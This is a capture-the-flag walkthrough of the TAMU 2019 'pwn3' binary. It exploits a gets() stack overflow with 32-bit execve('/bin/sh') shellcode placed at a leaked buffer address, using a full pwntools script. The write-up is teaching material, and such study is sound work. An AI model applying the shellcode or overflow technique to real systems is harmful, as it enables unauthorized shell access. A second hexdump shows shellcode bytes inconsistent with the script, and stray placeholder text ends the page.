TAMU 2019 Pwn3

Downloading the binary file


[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/06-bof_shellcode/tamu19_pwn3/pwn3
--2021-03-05 12:37:20--  https://github.com/guyinatuxedo/nightmare/raw/master/modules/06-bof_shellcode/tamu19_pwn3/pwn3
Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/06-bof_shellcode/tamu19_pwn3/pwn3 [following]
--2021-03-05 12:37:20--  https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/06-bof_shellcode/tamu19_pwn3/pwn3
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.111.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7348 (7.2K) [application/octet-stream]
Saving to: ‘pwn3’

pwn3                                                                   100%[============================================================================================================================================================================>]   7.18K  --.-KB/s    in 0.001s

2021-03-05 12:37:21 (12.1 MB/s) - ‘pwn3’ saved [7348/7348]


[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
→ file pwn3
pwn3: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6ea573b4a0896b428db719747b139e6458d440a0, not stripped

[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
→ chmod +x pwn3


Solution

First let's execute the binary to see what it does:


[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
→ ./pwn3
Take this, you might need it on your journey 0xfff0aa1e!
thanks!

[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
→ ./pwn3
Take this, you might need it on your journey 0xffa9ce0e!
No Thanks!

Here we see the binary giving us some text output with a certain memory address, and then prompts us for our text and depending on that text, we might get an answer or not. Now let's view it inside of ghidra:

We get the following code:


undefined4 main(void)

{
  undefined *puVar1;
  
  puVar1 = &stack0x00000004;
  setvbuf(stdout,(char *)0x2,0,0);
  echo(puVar1);
  return 0;
}

Here we see that the important part of the main function is the echo function:


/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void echo(void)

{
  char local_12e [294];
  
  printf("Take this, you might need it on your journey %p!\n",local_12e);
  gets(local_12e);
  return;
}

Here we see our input text gets passed into local_12e, and the function prints the address of the char buffer of local_12e. The bug here is that the gets function that is being used to process our input does not have a limit, it won't restrict us no matter how much data we feed through it, so we have an overflow right here. The question is what do we call ? There are not any function that print the flag nor give a shell, This is why we need to feed shellcode in.

Now in the previous challenge we were able to create the shellcode we needed for the x86_64 architecture. However this time we need to take into account that this is a 32 bit binary, we have to follow the x86 architecture as we create our shellcode. For this example we're going to grab some shellcode from shell-storm.org.

Now let's use gdb to see how much space we have between the start of our input and the return address:


[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/pwn3]
→ gdb ./pwn3
GNU gdb (GDB) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
    .

For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1 using Python engine 3.9
Reading symbols from ./pwn3...
(No debugging symbols found in ./pwn3)
gef➤  disas echo
Dump of assembler code for function echo:
   0x0000059d <+0>:     push   ebp
   0x0000059e <+1>:     mov    ebp,esp
   0x000005a0 <+3>:     push   ebx
   0x000005a1 <+4>:     sub    esp,0x134
   0x000005a7 <+10>:    call   0x4a0 <__x86.get_pc_thunk.bx>
   0x000005ac <+15>:    add    ebx,0x1a20
   0x000005b2 <+21>:    sub    esp,0x8
   0x000005b5 <+24>:    lea    eax,[ebp-0x12a]
   0x000005bb <+30>:    push   eax
   0x000005bc <+31>:    lea    eax,[ebx-0x191c]
   0x000005c2 <+37>:    push   eax
   0x000005c3 <+38>:    call   0x410 
   0x000005c8 <+43>:    add    esp,0x10
   0x000005cb <+46>:    sub    esp,0xc
   0x000005ce <+49>:    lea    eax,[ebp-0x12a]
   0x000005d4 <+55>:    push   eax
   0x000005d5 <+56>:    call   0x420 
   0x000005da <+61>:    add    esp,0x10
   0x000005dd <+64>:    nop
   0x000005de <+65>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x000005e1 <+68>:    leave
   0x000005e2 <+69>:    ret
End of assembler dump.

Now as we disassembled the echo function, we set a breakpoint +61 because this is right after the gets call where we insert our text in.


gef➤  b *echo+61
Breakpoint 1 at 0x5da
gef➤  r
Starting program: /home/nothing/binexp/2/pwn3/pwn3
Take this, you might need it on your journey 0xffffcfbe!
13371337

Breakpoint 1, 0x565555da in echo ()
~/.gef-54e93efd89ec59e5d178fbbeda1fed890098d18d.py:2425: DeprecationWarning: invalid escape sequence '\
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffcfbe  →  "13371337"
$ebx   : 0x56556fcc  →  0x00001ed4
$ecx   : 0xf7f90540  →  0xfbad2288
$edx   : 0xfbad2288
$esp   : 0xffffcfa0  →  0xffffcfbe  →  "13371337"
$ebp   : 0xffffd0e8  →  0xffffd0f8  →  0x00000000
$esi   : 0x1
$edi   : 0x56555460  →  <_start+0> xor ebp, ebp
$eip   : 0x565555da  →   add esp, 0x10
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfa0│+0x0000: 0xffffcfbe  →  "13371337"    ← $esp
0xffffcfa4│+0x0004: 0xffffcfbe  →  "13371337"
0xffffcfa8│+0x0008: 0xffffcfff  →  0xffd08000
0xffffcfac│+0x000c: 0x565555ac  →   add ebx, 0x1a20
0xffffcfb0│+0x0010: 0x00000000
0xffffcfb4│+0x0014: 0x00000000
0xffffcfb8│+0x0018: 0x00000000
0xffffcfbc│+0x001c: 0x3331b6ff
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
   0x565555ce         lea    eax, [ebp-0x12a]
   0x565555d4         push   eax
   0x565555d5         call   0x56555420 
 → 0x565555da         add    esp, 0x10
   0x565555dd         nop
   0x565555de         mov    ebx, DWORD PTR [ebp-0x4]
   0x565555e1         leave
   0x565555e2         ret
   0x565555e3          lea    ecx, [esp+0x4]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "pwn3", stopped 0x565555da in echo (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x565555da → echo()
[#1] 0x5655561a → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ search-pattern 13371337

Now that we set the breakpoint, we run the binary, and put in an easy-to remember pattern (13371337) and then we search for that pattern in the memory:


gef➤  search-pattern 13371337
[+] Searching '13371337' in memory
[+] In '[heap]'(0x56558000-0x5657a000), permission=rw-
  0x565581a0 - 0x565581aa  →   "13371337\n"
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx
  0xffffcfbe - 0xffffcfc6  →   "13371337"

gef➤  info frame
Stack level 0, frame at 0xffffd0f0:
 eip = 0x565555da in echo; saved eip = 0x5655561a
 called by frame at 0xffffd110
 Arglist at 0xffffd0e8, args:
 Locals at 0xffffd0e8, Previous frame's sp is 0xffffd0f0
 Saved registers:
  ebx at 0xffffd0e4, ebp at 0xffffd0e8, eip at 0xffffd0ec

Here we see that the important addresses are 0xffffd0ec and 0xffffcfbe. So let's calculate the offset:


[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
→ python3
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xffffd0ec)
'0xffffd0ec'
>>> hex(0xffffd0ec - 0xffffcfbe)
'0x12e'

And we see that we have an offset of 0x12e bytes between the start of our input (0xffffcfbe) and the return address (0xffffd0ec). This makes sense because our input value (local_12e) is 294 bytes large,there are 2 saved register values (ebx and ebp) on the stack in between our input and the saved return address which are each 4 bytes a piece (294 + 4 +4 = 0x12e). So with this we can construct our payload :


[ 192.168.0.18/24 ] [ /dev/pts/12 ] [binexp/2/pwn3]
→ vim exploit.py


from pwn import *

target = process('./pwn3')

#print the text, up to the address of the start of the input
print(target.recvuntil("journey "))

#Scan the rest of the line
leak = target.recvline()

Adr = int(leak.strip(b"!\n"),16)

shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

payload  = b""
payload += shellcode
payload += b"\x00" * (0x12e - len(payload))
payload += p32(Adr)

print(hexdump(payload))

The plan here is to first push shellcode onto the stack, and we know where it is thanks to the memory address that's given to us, then we fill the gap with nullbytes, and then overwrite the return address to point to the start of our shellcode

Now let's check out our payload:


[ 192.168.0.18/24 ] [ /dev/pts/13 ] [binexp/2/pwn3]
→ python3 exploit.py
[+] Starting local process './pwn3': pid 218489
b'Take this, you might need it on your journey '
00000000  31 c0 50 68  2f 2f 73 68  68 2f 62 69  6e 89 e3 50  │1·Ph│//sh│h/bi│n··P│
00000010  53 89 e1 b0  0b cd 80 00  00 00 00 00  00 00 00 00  │S···│····│····│····│
00000020  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
*
00000120  00 00 00 00  00 00 00 00  00 00 00 00  00 00 fe d4  │····│····│····│····│
00000130  94 ff                                               │··│
00000132

Now let's use the following 2 lines to feed our payload into the binary:


target.sendline(payload)
target.interactive()


[ 192.168.0.18/24 ] [ /dev/pts/13 ] [binexp/2/pwn3]
→ python3 exploit.py
[+] Starting local process './pwn3': pid 524665
b'Take this, you might need it on your journey '
00000000  31 c0 50 68  2f 2f 73 68  68 2f 62 69  6e 89 dc 50  │1·Ph│//sh│h/bi│n··P│
00000010  53 89 cc b0  0b cd 80 00  00 00 00 00  00 00 00 00  │S···│····│····│····│
00000020  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
*
00000120  00 00 00 00  00 00 00 00  00 00 00 00  00 00 1e 27  │····│····│····│···'│
00000130  d7 ff                                               │··│
00000132
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$cat flag.txt
flag{g0ttem_b0yz}
$ exit
[*] Got EOF while reading in interactive
$ exit
[*] Process './pwn3' stopped with exit code 0 (pid 524665)
[*] Got EOF while sending in interactive


And that's it! We have been able to print out the flag.

Title

text


Title

text